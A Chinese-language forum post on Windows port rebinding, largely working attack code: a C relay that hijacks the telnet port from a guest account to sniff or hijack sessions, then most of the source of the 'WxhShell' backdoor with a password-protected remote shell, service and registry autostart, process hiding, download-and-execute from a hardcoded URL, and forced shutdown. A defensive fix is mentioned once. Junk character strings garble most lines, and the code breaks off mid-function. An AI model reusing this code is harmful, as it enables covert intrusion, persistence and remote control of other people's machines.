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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Rcuz(yS8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dtDFoETz  
VY-EmbkG-t  
  saddr.sin_family = AF_INET; 6ujW Nf  
m67V_s,7B  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yi[x}ffdE  
VbYdZCC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W/N7vAx X  
zLQx%Yg!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 UMi~14& ;  
W?& %x(6M  
  这意味着什么?意味着可以进行如下的攻击: tQVVhXQ7  
@7 }W=HB  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >P(.:_ ^p  
X w1*(ffk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *~`(RV  
h[ ZN+M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kJU2C=m@e2  
jXJyc'm7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6BlXLQ,8q  
`[A];]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  *CMx-_  
BT$_@%ea&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )J |6-C  
TeQV?ZQ#}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rv;3~'V  
:RYTL'hes  
  #include x`s>*^  
  #include 7<4qQ.deE  
  #include XW/o<[91  
  #include    crCJrN=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \8tsDG(1 '  
  int main() H,J8M{  
  { )7@0[>  
  WORD wVersionRequested; )oZ dj`  
  DWORD ret; "@kaHIf[  
  WSADATA wsaData; *pd@.|^)m  
  BOOL val; 3`HV(5U[  
  SOCKADDR_IN saddr; gw(z1L5 n  
  SOCKADDR_IN scaddr; K3C<{#r  
  int err; kfNWI#'9  
  SOCKET s; \e_O4  
  SOCKET sc; M|-)GvR$J  
  int caddsize; ICCc./l|  
  HANDLE mt; fA-7VdR`R  
  DWORD tid;   KoYF]  
  wVersionRequested = MAKEWORD( 2, 2 ); pAEx#ck  
  err = WSAStartup( wVersionRequested, &wsaData ); ~[: 2I  
  if ( err != 0 ) { Dq xs+  
  printf("error!WSAStartup failed!\n"); s2?&!  
  return -1; L];b< *d  
  } rQXzR  
  saddr.sin_family = AF_INET; & kIFcd@  
   y(Td/rY.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6*?F@D2&  
E7hhew  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zDp2g)  
  saddr.sin_port = htons(23); Z)!C'cb  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w!CNRtM:~  
  { 6zkaOA46V  
  printf("error!socket failed!\n"); B!yr!DWv  
  return -1; dx]>(e@(t{  
  } /?!u{(h}  
  val = TRUE; <i[HbgUlO.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 q4q6c")zp  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ex|F|0k4}  
  { ijcm2FJcG  
  printf("error!setsockopt failed!\n"); PH"%kCI:  
  return -1; $( )>g>%  
  } g`^x@rj`E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V :eD]zq5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =43auFY-P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @o^Ww  
;jPXs  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <VcQ{F  
  { l0] EX>"E  
  ret=GetLastError(); DlT{`  
  printf("error!bind failed!\n"); _wcNgFx  
  return -1; BY*Q_Et  
  } |%wX*zaf  
  listen(s,2); %\DX#.  
  while(1) Jwp7gYZ  
  { 'S~5"6r  
  caddsize = sizeof(scaddr); CARzO7 b\w  
  //接受连接请求 *=n:-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l~.-e^p?  
  if(sc!=INVALID_SOCKET) JRFtsio*  
  { )+M0Y_r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hSMH,^Io$  
  if(mt==NULL) z2c6T.1M  
  { z~Q)/d,Ac  
  printf("Thread Creat Failed!\n"); *A< 5*Db:F  
  break; 07)yG:q*x  
  } mq[ug>  
  } BHw, 4#F1;  
  CloseHandle(mt); . .-hAH  
  } 5r_|yu  
  closesocket(s); } %z   
  WSACleanup(); aT<q=DO  
  return 0; "ta x?  
  }   R3! t$5HG  
  DWORD WINAPI ClientThread(LPVOID lpParam) jal-9NV)!  
  { HThcn1u~^b  
  SOCKET ss = (SOCKET)lpParam; J;%Xfx]  
  SOCKET sc; _|]x2xb)  
  unsigned char buf[4096]; G`zm@QL  
  SOCKADDR_IN saddr; .2pK.$.  
  long num; Ah<+y\C  
  DWORD val; $"&JWT!#  
  DWORD ret; />Nt[o[r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xpI wrJO  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P$sxr  
  saddr.sin_family = AF_INET; ^(<f/C)i  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @KA4N`  
  saddr.sin_port = htons(23); V:27)]q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S$k&vc(0  
  { 2(nlJ7R  
  printf("error!socket failed!\n"); :!/8 Hv  
  return -1; bfO=;S]b!  
  } `kr?j:g  
  val = 100; ]{kPrey  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HqTjl4ai  
  { Q^I\cAIB  
  ret = GetLastError(); nd(S3rct&  
  return -1; ,P Z ge  
  } BC]?0 U  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x:7IIvP  
  { {|\.i  
  ret = GetLastError(); _w Ot39e&  
  return -1; KF/-wZ"1s  
  } bx Wa oWE0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +O5hH8<&b  
  { 66 Tpi![  
  printf("error!socket connect failed!\n"); 7 ?t6UPf  
  closesocket(sc); ^J d r>@  
  closesocket(ss); fX)# =c|5  
  return -1; Wvqhl 'J  
  } <ih[TtZ  
  while(1) vI]N^j2%  
  { 1U\z5$V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2-b6gc7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =mGez )T5\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uGt-l4  
  num = recv(ss,buf,4096,0); T>GM%^h,7-  
  if(num>0) XUw/2"D'?  
  send(sc,buf,num,0); e|9 A716x  
  else if(num==0) _ J[  
  break; #[a*rD%m  
  num = recv(sc,buf,4096,0); fzA9'i`  
  if(num>0) {iLT/i%  
  send(ss,buf,num,0); s{" 2L{,$  
  else if(num==0) d7i]FV  
  break; X7 w Ky(g  
  } O~QB!<Q+  
  closesocket(ss); `XB 9Mi=  
  closesocket(sc); 05k0n E  
  return 0 ; $A` VYJtt#  
  } g ci    
0^ibNiSP  
2m[<]$  
========================================================== 6R5Qy]]E  
;GI&lpKK  
下边附上一个代码,,WXhSHELL Z)\@i=m  
4aY|TN/|  
========================================================== d/Q%IeEL.  
"nWw;-V}}  
#include "stdafx.h" 4e1Y/ Xq`  
iIogx8[  
#include <stdio.h> _y3Xb`0a  
#include <string.h> : c[L3rJl  
#include <windows.h> %[yJ4WL  
#include <winsock2.h> 9S-9.mvop  
#include <winsvc.h> Q^ (b)>?r;  
#include <urlmon.h> JZ#[ 2mLh  
&M '*6A  
#pragma comment (lib, "Ws2_32.lib") $\! 7 {6a  
#pragma comment (lib, "urlmon.lib") `p7=t)5k  
V!dtF,tH  
#define MAX_USER   100 // 最大客户端连接数  ][]  
#define BUF_SOCK   200 // sock buffer 2|bn(QYz  
#define KEY_BUFF   255 // 输入 buffer u4_9)P`]0  
g4@ lM"|S  
#define REBOOT     0   // 重启 ``Un&-Ms  
#define SHUTDOWN   1   // 关机 42{:G8  
; Hd7*`$  
#define DEF_PORT   5000 // 监听端口 1r7y]FyH$  
-tNUMi'  
#define REG_LEN     16   // 注册表键长度 !YJs]_Wr  
#define SVC_LEN     80   // NT服务名长度 T n}s*<=V  
e!r-+.i(  
// 从dll定义API AvHCO8h|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +'@Dz9:>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^BL"wk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2>H24F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FEVlZ<PW3I  
Wr5V`sM  
// wxhshell配置信息  {>%&(  
struct WSCFG { z"4~P3>{g  
  int ws_port;         // 监听端口 BX^tR1  
  char ws_passstr[REG_LEN]; // 口令 ss e.*75U  
  int ws_autoins;       // 安装标记, 1=yes 0=no xp9pl[l  
  char ws_regname[REG_LEN]; // 注册表键名 yH}s<@y;7  
  char ws_svcname[REG_LEN]; // 服务名 LraWcO\or'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0C*7K?/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -o.:P>/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fr$5RAyg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no evJ.<{M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vA.MRu#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Pc o'l#:  
v6Vcjm  
}; v]c6R-U  
$lu t[o74  
// default Wxhshell configuration n\.Vqe  
struct WSCFG wscfg={DEF_PORT, ^<-+@v*  
    "xuhuanlingzhe", zNuJjL  
    1, t!\tF[9e  
    "Wxhshell", qcGK2Qx  
    "Wxhshell", C{XmVc.  
            "WxhShell Service", ',4iFuY  
    "Wrsky Windows CmdShell Service", K!]/(V(}  
    "Please Input Your Password: ", *r% c  
  1, O<;3M'y\  
  "http://www.wrsky.com/wxhshell.exe", 0,8okA H  
  "Wxhshell.exe" |id <=Xf  
    }; wg]LVW}  
d&s9t;@=  
// 消息定义模块 .eP.&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g|Fn7]G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HgkC~'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E`k@{*Hn&  
char *msg_ws_ext="\n\rExit."; qWKAM@  
char *msg_ws_end="\n\rQuit."; ]P2"[y  
char *msg_ws_boot="\n\rReboot..."; |qZ1|  
char *msg_ws_poff="\n\rShutdown..."; [=]4-q6UN  
char *msg_ws_down="\n\rSave to "; Bn g@-#`/  
y Ej^=pw  
char *msg_ws_err="\n\rErr!"; `I5wV/%ib  
char *msg_ws_ok="\n\rOK!"; E1U",CMU  
Ezv Y"T@  
char ExeFile[MAX_PATH]; /_#q@r4ZQ  
int nUser = 0; w(TJ*::T  
HANDLE handles[MAX_USER]; D+7Rz_=  
int OsIsNt; 'anG:=  
lR6x3C H@  
SERVICE_STATUS       serviceStatus; p Q<Y:-`c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ig':%2V/  
5j-YM  
// 函数声明 _Z,\Vw:\F  
int Install(void); ^Zy% fv,  
int Uninstall(void); y {<9]'  
int DownloadFile(char *sURL, SOCKET wsh); M_w<m  
int Boot(int flag); :'&brp3ii=  
void HideProc(void); VD]zz ^  
int GetOsVer(void); )M//l1  
int Wxhshell(SOCKET wsl); 1s@+;QUib  
void TalkWithClient(void *cs); Bv%GJ*>>  
int CmdShell(SOCKET sock); l/ ;  
int StartFromService(void); c#tjp(-  
int StartWxhshell(LPSTR lpCmdLine); Y.ToIka{  
A^EE32kbm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1,!(0 5H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W#C*5@8  
[o5Hl^  
// 数据结构和表定义  A4<Uu~  
SERVICE_TABLE_ENTRY DispatchTable[] = m&?r%x  
{ 4^OY C  
{wscfg.ws_svcname, NTServiceMain}, %lGfAYEM=  
{NULL, NULL} p >t#@Eu|  
}; cX OK)g#  
&7wd?)s  
// 自我安装 @\P;W(m.i  
int Install(void) P0PWJ^+,+  
{ f/Bp.YwL  
  char svExeFile[MAX_PATH]; oW Nh@C  
  HKEY key; D^3vr2  
  strcpy(svExeFile,ExeFile); _v=SH$O+  
*6F[t.Or  
// 如果是win9x系统,修改注册表设为自启动 zb<6 Ov  
if(!OsIsNt) { 2eol gXp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1.9}_4!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )fSOi| |C  
  RegCloseKey(key); r|PB*`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |:<f-j7t~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zEyN)  
  RegCloseKey(key); 8j % Tf;  
  return 0; o/Q;f@  
    } !pdb'*,n  
  } O[)kboY  
} 5m(^W[u `  
else { Q & K  
rOOT8nkR#  
// 如果是NT以上系统,安装为系统服务 I4q9|'-yx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,lA  s  
if (schSCManager!=0) 6@0OQb  
{ Fv<F}h?6  
  SC_HANDLE schService = CreateService .KUv( -  
  ( 6WJ)by  
  schSCManager, "Yj'oE% \  
  wscfg.ws_svcname, aAMVsE{  
  wscfg.ws_svcdisp, C-MjJ6D<  
  SERVICE_ALL_ACCESS, zvH8^1yzG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :Ab%g-  
  SERVICE_AUTO_START, T7u%^xm  
  SERVICE_ERROR_NORMAL, )MchsuF<  
  svExeFile, }n2M G  
  NULL, `Kr,>sEAM  
  NULL, ;^%4Q"  
  NULL, QKN+>X  
  NULL, &3Sz je  
  NULL nd1+"-,q  
  ); cH?B[S;]  
  if (schService!=0) 91  g2A|  
  { 8Sh54H  
  CloseServiceHandle(schService); YccH+[X;  
  CloseServiceHandle(schSCManager); H'HA+q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q $tUH)0  
  strcat(svExeFile,wscfg.ws_svcname); 9"A`sGZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =~H<Z LE+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kep/+J-u  
  RegCloseKey(key); OAkZKG|  
  return 0; ~h85BF5  
    } (#RHB`h5  
  } QYjsDL><  
  CloseServiceHandle(schSCManager); <Fc;_GG  
} (ECnM ti+  
} ,N[7/kT|  
_i|t Y4L  
return 1; 3ojlB|Z  
} %<*g!y `  
HbA kZP  
// 自我卸载 0ANZAX5  
int Uninstall(void) kZZh"#W: L  
{ 72y0/FJ  
  HKEY key; z>Hgkp8D"  
$gy*D7  
if(!OsIsNt) { X4E%2-m@'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a8iQ4   
  RegDeleteValue(key,wscfg.ws_regname); =&2 Lb  
  RegCloseKey(key); ^, _w$H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YSh+pr  
  RegDeleteValue(key,wscfg.ws_regname); Vq\`+&A  
  RegCloseKey(key); Id|L`  w  
  return 0; C=It* j55  
  } 7/f3Z 1g  
} ~ZEmULKkR  
} Q[pV!CH  
else { /bi[ e9R  
\LppYXz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M)N?qRD  
if (schSCManager!=0) }\#Rot>Y  
{ TDNQu_E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n3Z 5t  
  if (schService!=0) 5b[jRj6  
  {  4/1d&Sg  
  if(DeleteService(schService)!=0) { WP+oFkw>  
  CloseServiceHandle(schService); f Tl<p&b  
  CloseServiceHandle(schSCManager); ,:H\E|XeBw  
  return 0; FUOI3  
  } 0F|AA"mMT  
  CloseServiceHandle(schService); !~&R"2/  
  } .5,(_p^  
  CloseServiceHandle(schSCManager); 4V==7p x(  
} 6qaQ[XTxf  
} TAF PawH  
pDcjwlA%  
return 1; 7cO n9fIE  
} U($dx.`v#  
{(wHPzq  
// 从指定url下载文件 ac.Ms(D  
int DownloadFile(char *sURL, SOCKET wsh) pxf$ 1  
{ k |%B?\m  
  HRESULT hr;  H77"  
char seps[]= "/"; 0_"fJ~Y^J  
char *token; ;z:UN}  
char *file; \":m!K;Z  
char myURL[MAX_PATH];  &8_gRP  
char myFILE[MAX_PATH]; A"D,Kg S  
b7tOo7aH)  
strcpy(myURL,sURL); : b~6i%b  
  token=strtok(myURL,seps); U1RpLkibQ  
  while(token!=NULL) QxOjOKAG  
  { rKf-+6Na  
    file=token; yA(K=?sq  
  token=strtok(NULL,seps); kO{s^_qR^c  
  } 7`8Ik`lY  
BT"42#7_  
GetCurrentDirectory(MAX_PATH,myFILE); aKuSd3E@#  
strcat(myFILE, "\\"); h{p=WWK  
strcat(myFILE, file); >ByXB!Wi+  
  send(wsh,myFILE,strlen(myFILE),0); Qj6/[mUr~  
send(wsh,"...",3,0); R>"OXFaE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )5U[o0td  
  if(hr==S_OK) Kt|1&Gk  
return 0; /_Z652@  
else 4NG?_D5&  
return 1; WRDjh7~Efn  
.Pw\~X3!  
} .0O2Qqdg  
3*)ig@e6  
// 系统电源模块  S"$m]  
int Boot(int flag) yH*6@P4:0=  
{ Ve!fU  
  HANDLE hToken; SD$h@p=!=  
  TOKEN_PRIVILEGES tkp; J6G(_(d  
qfz8jY]  
  if(OsIsNt) { J8)#PY[i4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hcbv;[bG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z;wELz1L{  
    tkp.PrivilegeCount = 1; e=;AfK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; % v7[[U{T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zg`Mz _?  
if(flag==REBOOT) { S"k *6 U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K/=_b<  
  return 0; :`2=@.  
} ZRVT2VfN  
else { 15o?{=b[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d[^~'V  
  return 0; -s$F&\5by  
} QtqfG{  
  } 0,rTdjH7  
  else { 'X !?vK^]p  
if(flag==REBOOT) { &0(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [.*;6y3  
  return 0; f'{]"^e=  
} {Gw.l."  
else { @%lBrM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zyg  }F  
  return 0; { TRsd  
} e$uiJNS2  
} UNi`P9D]3  
"0k8IVwp  
return 1; P#/HTu5q7  
} h=_0+\%  
v\"S Gc  
// win9x进程隐藏模块 ?9=9C"&s  
void HideProc(void) Css l{B  
{ ;h" P{fF   
z.VyRBi0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >ap1"n9k  
  if ( hKernel != NULL ) J@ktyd(P  
  { }sFm9j7yR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C 2w2252T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U(;&(W"M  
    FreeLibrary(hKernel); ]UG*r%9  
  } FSb Hn{@  
4r0b)Y &I  
return; ;kJA'|GX  
} i^!ez5z  
&"mzwQX  
// 获取操作系统版本 `\6?WXk3T  
int GetOsVer(void) rJInj>|{=  
{ eBO@7F$  
  OSVERSIONINFO winfo; z>06hBv(?Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U"4?9. k  
  GetVersionEx(&winfo); wgRs Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T}=>C+3r  
  return 1; awUx=%ERtA  
  else 4~OQhiJ   
  return 0; ?kz+R'  
} ^p/Ob'!  
!!nuAQ"E[  
// 客户端句柄模块 h<\_XJJ  
int Wxhshell(SOCKET wsl) *cg( ?yg  
{ S"hTE7`   
  SOCKET wsh; S$^ RbI  
  struct sockaddr_in client; GzTq5uU&  
  DWORD myID; X*7\lf2  
@AYo-gf  
  while(nUser<MAX_USER) =?(~aV  
{ Mf#83 <&K  
  int nSize=sizeof(client); nPgeLG"00  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W Qc>  
  if(wsh==INVALID_SOCKET) return 1; =60~UM  
q(5+xSg"gK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P0-Fc@&Y  
if(handles[nUser]==0) x/ :4 {  
  closesocket(wsh); :ECi+DxBK  
else M8b4NF_&  
  nUser++; @v*/R%rv t  
  } 5Fm=/o1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |uH%6&\  
" uPy,<l  
  return 0; {A o,t+j  
} -sMytHH.  
*$M'`vj:  
// 关闭 socket V8~jf-\$b  
void CloseIt(SOCKET wsh) Sj(F3wY  
{ STA4 p6  
closesocket(wsh); ='E$-_  
nUser--; =4 X]gW  
ExitThread(0); ^R$'eG 4L?  
} fXQiNm[P  
;*[9Q'lI*  
// 客户端请求句柄 1SV^){5I  
void TalkWithClient(void *cs) NS,5/t  
{ ag4`n:1  
"XLe3n  
  SOCKET wsh=(SOCKET)cs; ]fI/(e_U  
  char pwd[SVC_LEN]; b( ^^m:(w  
  char cmd[KEY_BUFF]; H2-28XGc  
char chr[1];  oAZh~~tp  
int i,j; te4= S  
VRW] a  
  while (nUser < MAX_USER) { AP\ofLmq  
HZ*0QgW\(5  
if(wscfg.ws_passstr) { vG2b:[W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BXUF^Hj%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YO:&;K%  
  //ZeroMemory(pwd,KEY_BUFF); wn11\j&  
      i=0; 2PSTGG8JV  
  while(i<SVC_LEN) { 7> Pgc  
hD<f3_k  
  // 设置超时 XL}<1- }  
  fd_set FdRead; ~mN% (w!^  
  struct timeval TimeOut; )J3kxmlzQ  
  FD_ZERO(&FdRead); ]PNow S\  
  FD_SET(wsh,&FdRead); qsg>5E  
  TimeOut.tv_sec=8; fj'j NE  
  TimeOut.tv_usec=0; NgB 7?]vu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YTU.$t;Ez  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;S/7 h6  
&}`K^5K|O:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aP>37s  
  pwd=chr[0];  \`xkp[C  
  if(chr[0]==0xd || chr[0]==0xa) { *,\` o~  
  pwd=0; XvSIWs  
  break; }+Vv0jX|V  
  } 8Vt4HD08  
  i++; >AI<60/<  
    } *N/hc  
ad`_>lA4Lp  
  // 如果是非法用户,关闭 socket }1%r%TikY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Vul+]h[!h  
} px9>:t[P  
f e $Wu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M>_= "atI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uiBTnG"  
wh~s Z  
while(1) { D(r:}pyU  
G"S5ki`o  
  ZeroMemory(cmd,KEY_BUFF); Kv+Bfh  
e4qj .b  
      // 自动支持客户端 telnet标准   ibF#$&!  
  j=0; ]X" / yAn  
  while(j<KEY_BUFF) { LBX%HGH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wtv#h~jy9  
  cmd[j]=chr[0]; [l[{6ZXt  
  if(chr[0]==0xa || chr[0]==0xd) { "'eWn6O(  
  cmd[j]=0; <4D%v"zRP  
  break; hr U :Wr  
  } X_70]^XL  
  j++; sS,#0Qt.  
    } R.7#zhC`4  
WSI Xj5R  
  // 下载文件 (Imp $  
  if(strstr(cmd,"http://")) { IG / $!* E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M<qudi  
  if(DownloadFile(cmd,wsh)) FpkXOj?*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U7%28#@  
  else 4=p@2g2"H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }#b %"I0  
  } *e<_; Kr?  
  else { _F8T\f |  
LC'2q*:'  
    switch(cmd[0]) { Gm&2R4)EP  
  U4_"aT>M y  
  // 帮助 gGKKs&n7  
  case '?': { :z~!p~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w6EI{  
    break; 3%M.U)|+  
  } NdQ%:OKC  
  // 安装 v>WB FvyD  
  case 'i': { YIDg'a+z  
    if(Install()) Z! YpklZ?~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); org*z!;.   
    else AA7#c7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^"tqdeCb=  
    break; I>((o`  
    } g[!Cj,  
  // 卸载 gNa#|  
  case 'r': { hh&Js'd  
    if(Uninstall()) &N{zkMf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %\yK5V5  
    else ?0npEz|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Z:m)k>r;  
    break; ~.Q4c*_b  
    } h3h8lt_ |  
  // 显示 wxhshell 所在路径 l @A"U)A(  
  case 'p': { nO@+s F  
    char svExeFile[MAX_PATH]; Cj$H[K}>  
    strcpy(svExeFile,"\n\r"); 1b `G2?%  
      strcat(svExeFile,ExeFile); WLy7'3@  
        send(wsh,svExeFile,strlen(svExeFile),0); B,0+HoP  
    break; .cw=*<zeg  
    } |Qu_E  
  // 重启 `Xqy  
  case 'b': { aL$j/SC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B*Cb6'Q  
    if(Boot(REBOOT)) 4sd-zl$Of  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U$$3'n  
    else { 8D T@h8tA  
    closesocket(wsh); m~Me^yt>}  
    ExitThread(0); nh|EZp]  
    } Spc&X72I  
    break; W]~ZkQ|P  
    } 2;R/.xI6v  
  // 关机 W^ClHQ"Iy  
  case 'd': { `1_FQnm)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *(VbPp_H_  
